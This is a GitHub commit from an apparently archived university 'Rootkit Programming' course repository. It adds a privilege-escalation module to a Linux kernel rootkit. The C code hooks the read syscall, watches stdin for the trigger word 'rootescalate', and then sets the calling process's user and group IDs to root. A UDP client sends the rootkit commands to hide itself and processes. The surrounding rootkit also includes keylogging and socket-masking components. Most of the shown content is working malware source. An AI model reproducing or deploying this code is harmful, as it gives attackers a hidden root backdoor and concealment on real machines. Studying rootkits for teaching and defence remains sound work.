Skip to content
This repository was archived by the owner on Jun 30, 2020. It is now read-only.

Commit b2361c0

Browse files
nnedkovnnedkov
committed
Added functionality for priviledge escalation
1 parent a557e22 commit b2361c0

File tree

5 files changed

+318
-2
lines changed

5 files changed

+318
-2
lines changed

‎Assignment_7/conf_client.c

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
/************* UDP CLIENT CODE *******************/
2+
3+
#include <stdio.h>
4+
#include <sys/socket.h>
5+
#include <netinet/in.h>
6+
#include <string.h>
7+
8+
#define BUFSIZE 1028
9+
10+
//char conf[BUFSIZE];
11+
const char *JSON_STRING =
12+
"{"
13+
"\"hide_module\": true,"
14+
"\"unhide_module\": false,"
15+
16+
//"\"hide_files\": [\"file_str_3\", \"file_str_2\"],"
17+
//"\"unhide_files\": [\"ufile_str_1\", \"ufile_str_2\"],"
18+
"\"hide_processes\": [\"1\"],"
19+
//"\"unhide_processes\": [\"1\"],"
20+
//"\"hide_sockets_tcp4\": [\"tcp4_port_int_1\", \"tcp4_port_int_2\"],"
21+
//"\"unhide_sockets_tcp4\": [\"tcp4_uport_int_1\", \"tcp4_uport_int_2\"],"
22+
//"\"hide_sockets_tcp6\": [\"tcp6_port_int_1\", \"tcp6_port_int_2\"],"
23+
//"\"unhide_sockets_tcp6\": [\"tcp6_uport_int_1\", \"tcp6_uport_int_2\"],"
24+
//"\"hide_sockets_udp4\": [\"udp4_port_int_1\", \"udp4_port_int_2\"],"
25+
//"\"unhide_sockets_udp4\": [\"udp4_uport_int_1\", \"udp4_uport_int_2\"],"
26+
//"\"hide_sockets_udp6\": [\"udp6_port_int_1\", \"udp6_port_int_2\"],"
27+
//"\"unhide_sockets_udp6\": [\"udp6_uport_int_1\", \"udp6_uport_int_2\"]"
28+
"}";
29+
30+
31+
int main() {
32+
int clientSocket, portNum, nBytes;
33+
char buffer[BUFSIZE];
34+
struct sockaddr_in serverAddr;
35+
socklen_t addr_size;
36+
37+
//read_conf_from_file();
38+
39+
/* Create UDP socket */
40+
clientSocket = socket(PF_INET, SOCK_DGRAM, 0);
41+
42+
/* Configure settings in address struct */
43+
serverAddr.sin_family = AF_INET;
44+
serverAddr.sin_port = htons(2325);
45+
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
46+
memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
47+
48+
/*Initialize size variable to be used later on*/
49+
addr_size = sizeof serverAddr;
50+
51+
52+
//while(1) {
53+
//printf("Send new conf to server?:\n");
54+
//fgets(buffer, 1024, stdin);
55+
//printf("You typed: |%s|",buffer);
56+
57+
//if (!strcmp(buffer, "no\n"))
58+
// return 0;
59+
//else if (!strcmp(buffer, "yes\n")) {
60+
//nBytes = strlen(buffer) + 1;
61+
62+
/* Send message to server */
63+
sendto(clientSocket, JSON_STRING, strlen(JSON_STRING), 0, (struct sockaddr *) &serverAddr, addr_size);
64+
printf("Sent to server:\n\n%s\n\n", JSON_STRING);
65+
66+
/* Receive message from server */
67+
//nBytes = recvfrom(clientSocket, buffer, BUFSIZE, 0, NULL, NULL);
68+
69+
//printf("Received from server: %s\n", buffer);
70+
//}
71+
//}
72+
73+
return 0;
74+
}
75+
76+
77+
/*
78+
int read_conf_from_file()
79+
{
80+
FILE *fp;
81+
char *file_name = "conf.txt";
82+
83+
fp = fopen(file_name, "r"); // read mode
84+
85+
if (fp == NULL) {
86+
perror("Error while opening the file.\n");
87+
return 1;
88+
}
89+
90+
printf("The contents of %s file are :\n", file_name);
91+
92+
fscanf(fp, "%s", conf);
93+
fgets(conf, 1028, fp);
94+
printf("%s\n", conf);
95+
96+
fclose(fp);
97+
98+
return 0;
99+
}
100+
*/
101+

‎Assignment_7/rootkit/Makefile

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -28,9 +28,9 @@ KDIR = /lib/modules/$(shell uname -r)/build
2828
TARGET = rootkit
2929

3030
obj-m += $(TARGET).o
31-
rootkit-objs := module_masking.o network_keylogging.o process_masking.o socket_masking.o conf_manager.o jsmn.o udp_server.o core.o
31+
rootkit-objs := module_masking.o network_keylogging.o privil_escalation.o process_masking.o socket_masking.o conf_manager.o jsmn.o udp_server.o core.o
3232
ccflags-y = -Wno-unused-function
33-
#file_masking.o priviledge_escalating.o
33+
#file_masking.o
3434

3535
all: $(SYSMAP_HEADER)
3636
make -C $(KDIR) M=$(PWD) modules

‎Assignment_7/rootkit/core.c

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@
2828
#include "sysmap.h" /* Needed for ROOTKIT_SYS_CALL_TABLE */
2929
#include "module_masking.h" /* Needed for ... */
3030
#include "network_keylogging.h" /* Needed for ... */
31+
#include "privil_escalation.h" /* Needed for ... */
3132
#include "process_masking.h" /* Needed for ... */
3233
#include "socket_masking.h" /* Needed for ... */
3334
#include "conf_manager.h" /* Needed for ... */
@@ -96,6 +97,7 @@ static int __init core_start(void)
9697
//TODO: check return values
9798
//module_masking_init(DEBUG_MODE_IS_ON);
9899
network_keylogging_init(DEBUG_MODE_IS_ON);
100+
privil_escalation_init(DEBUG_MODE_IS_ON);
99101
process_masking_init(DEBUG_MODE_IS_ON);
100102
socket_masking_init(DEBUG_MODE_IS_ON);
101103
conf_manager_init(DEBUG_MODE_IS_ON);
@@ -127,6 +129,7 @@ static void __exit core_end(void)
127129
conf_manager_exit();
128130
socket_masking_exit();
129131
process_masking_exit();
132+
privil_escalation_exit();
130133
network_keylogging_exit();
131134
//module_masking_exit();
132135

‎Assignment_7/rootkit/privil_escalation.c

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
2+
/*******************************************************************************/
3+
/* */
4+
/* Course: Rootkit Programming */
5+
/* Semester: WS 2015/16 */
6+
/* Team: 105 */
7+
/* Assignment: 7 */
8+
/* */
9+
/* Filename: privil_escalation.c */
10+
/* */
11+
/* Authors: */
12+
/* Name: Matei Pavaluca */
13+
/* Email: [email protected] */
14+
/* */
15+
/* Name: Nedko Stefanov Nedkov */
16+
/* Email: [email protected] */
17+
/* */
18+
/* Date: December 2015 */
19+
/* */
20+
/* Usage: */
21+
/* */
22+
/*******************************************************************************/
23+
24+
#include <linux/module.h> /* Needed by all modules */
25+
#include <linux/unistd.h> /* Needed for __NR_read */
26+
#include <linux/thread_info.h>
27+
#include <linux/sched.h>
28+
29+
30+
/*******************************************************************************/
31+
/* */
32+
/* DEFINITIONS - DECLARATIONS */
33+
/* */
34+
/*******************************************************************************/
35+
36+
37+
/* Definition of macros */
38+
#define PRINT(str) printk(KERN_INFO "rootkit privil_escalation: %s\n", (str))
39+
#define DEBUG_PRINT(str) if (show_debug_messages) PRINT(str)
40+
#define PRIV_ESC "rootescalate"
41+
42+
43+
/* Definition of global variables */
44+
static int show_debug_messages;
45+
asmlinkage long (*pe_original_read_syscall)(unsigned int, char __user *, size_t); //TODO: should point to original_read
46+
int priv_escalate_matched_so_far;
47+
48+
49+
/* Definition of functions */
50+
int privil_escalation_init(int);
51+
int privil_escalation_exit(void);
52+
53+
asmlinkage long privil_escalation_read_syscall(unsigned int, char __user *, size_t);
54+
55+
static int count_matches(char *, char *, int *);
56+
static void set_root_cred(void);
57+
58+
59+
/*******************************************************************************/
60+
/* */
61+
/* CODE */
62+
/* */
63+
/*******************************************************************************/
64+
65+
66+
/* Initialization function */
67+
int privil_escalation_init(int debug_mode_on)
68+
{
69+
show_debug_messages = debug_mode_on;
70+
71+
DEBUG_PRINT("initialized");
72+
73+
return 0;
74+
}
75+
76+
77+
int privil_escalation_exit(void)
78+
{
79+
80+
DEBUG_PRINT("exited");
81+
82+
return 0;
83+
}
84+
85+
86+
/* Function that replaces the original read syscall. In addition to what
87+
read syscall does, it also looks for a command. ... */
88+
asmlinkage long my_read_syscall(unsigned int fd, char __user *buf, size_t count)
89+
{
90+
long ret;
91+
92+
/* Call original read syscall */
93+
ret = pe_original_read_syscall(fd, buf, count);
94+
95+
/* If the read was not from STDIN don't do anything */
96+
if (fd != 0)
97+
return ret;
98+
99+
/* Check if `rootescalate` was typed */
100+
if (count_matches(buf, PRIV_ESC, &priv_escalate_matched_so_far))
101+
set_root_cred();
102+
103+
return ret;
104+
}
105+
106+
107+
/* Count matches of specified command in the user input */
108+
static int count_matches(char *buf, char *command, int *chars_matched_so_far)
109+
{
110+
int matches;
111+
int i;
112+
113+
/* Match the command */
114+
matches = i = 0;
115+
while (i < strlen(buf)) {
116+
if (command[(*chars_matched_so_far)++] != buf[i++])
117+
*chars_matched_so_far = 0;
118+
119+
if (strlen(command) == *chars_matched_so_far) {
120+
*chars_matched_so_far = 0;
121+
matches++;
122+
}
123+
}
124+
125+
return matches;
126+
}
127+
128+
129+
static void set_root_cred(void)
130+
{
131+
struct cred *pcred;
132+
133+
pcred = prepare_creds();
134+
135+
pcred->uid.val = pcred->euid.val = pcred->suid.val = pcred->fsuid.val = 0;
136+
pcred->gid.val = pcred->egid.val = pcred->sgid.val = pcred->fsgid.val = 0;
137+
138+
commit_creds(pcred);
139+
140+
printk(KERN_INFO "rootkit privil_escalation: successfully escalated priviledges for PID: %d\n", current->pid);
141+
}
142+
143+
144+
/* static void set_cred(void)
145+
{
146+
struct cred *elevated = prepare_creds();
147+
148+
elevated->suid = current->cred->uid;
149+
elevated->sgid = current->cred->gid;
150+
151+
elevated->uid.val = 0;
152+
elevated->gid.val = 0;
153+
elevated->euid = elevated->uid;
154+
elevated->egid = elevated->gid;
155+
156+
commit_creds(elevated);
157+
158+
printk(KERN_INFO "saved uid: %d gid: %d\n", current->cred->suid.val, current->cred->sgid.val);
159+
} */
160+
161+
162+
/* static void restore_cred(void)
163+
{
164+
struct cred *lowered = prepare_creds();
165+
166+
lowered->uid = current->cred->suid;
167+
lowered->gid = current->cred->sgid;
168+
lowered->euid = lowered->uid;
169+
lowered->egid = lowered->gid;
170+
171+
lowered->suid.val = lowered->sgid.val = 0;
172+
173+
commit_creds(lowered);
174+
175+
printk(KERN_INFO "restored uid: %d gid: %d\n", current->cred->uid.val, current->cred->gid.val);
176+
177+
} */
178+

‎Assignment_7/rootkit/privil_escalation.h

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
2+
/*******************************************************************************/
3+
/* */
4+
/* Course: Rootkit Programming */
5+
/* Semester: WS 2015/16 */
6+
/* Team: 105 */
7+
/* Assignment: 7 */
8+
/* */
9+
/* Filename: privil_escalation.h */
10+
/* */
11+
/* Authors: */
12+
/* Name: Matei Pavaluca */
13+
/* Email: [email protected] */
14+
/* */
15+
/* Name: Nedko Stefanov Nedkov */
16+
/* Email: [email protected] */
17+
/* */
18+
/* Date: December 2015 */
19+
/* */
20+
/* Usage: Header file for module `privil_escalation.c` */
21+
/* */
22+
/*******************************************************************************/
23+
24+
#ifndef __PRIVIL_ESCALATION__
25+
#define __PRIVIL_ESCALATION__
26+
27+
28+
/* Declaration of functions */
29+
int privil_escalation_init(int);
30+
int privil_escalation_exit(void);
31+
32+
asmlinkage long privil_escalation_read_syscall(unsigned int, char __user *, size_t);
33+
34+
#endif

0 commit comments

Comments
 (0)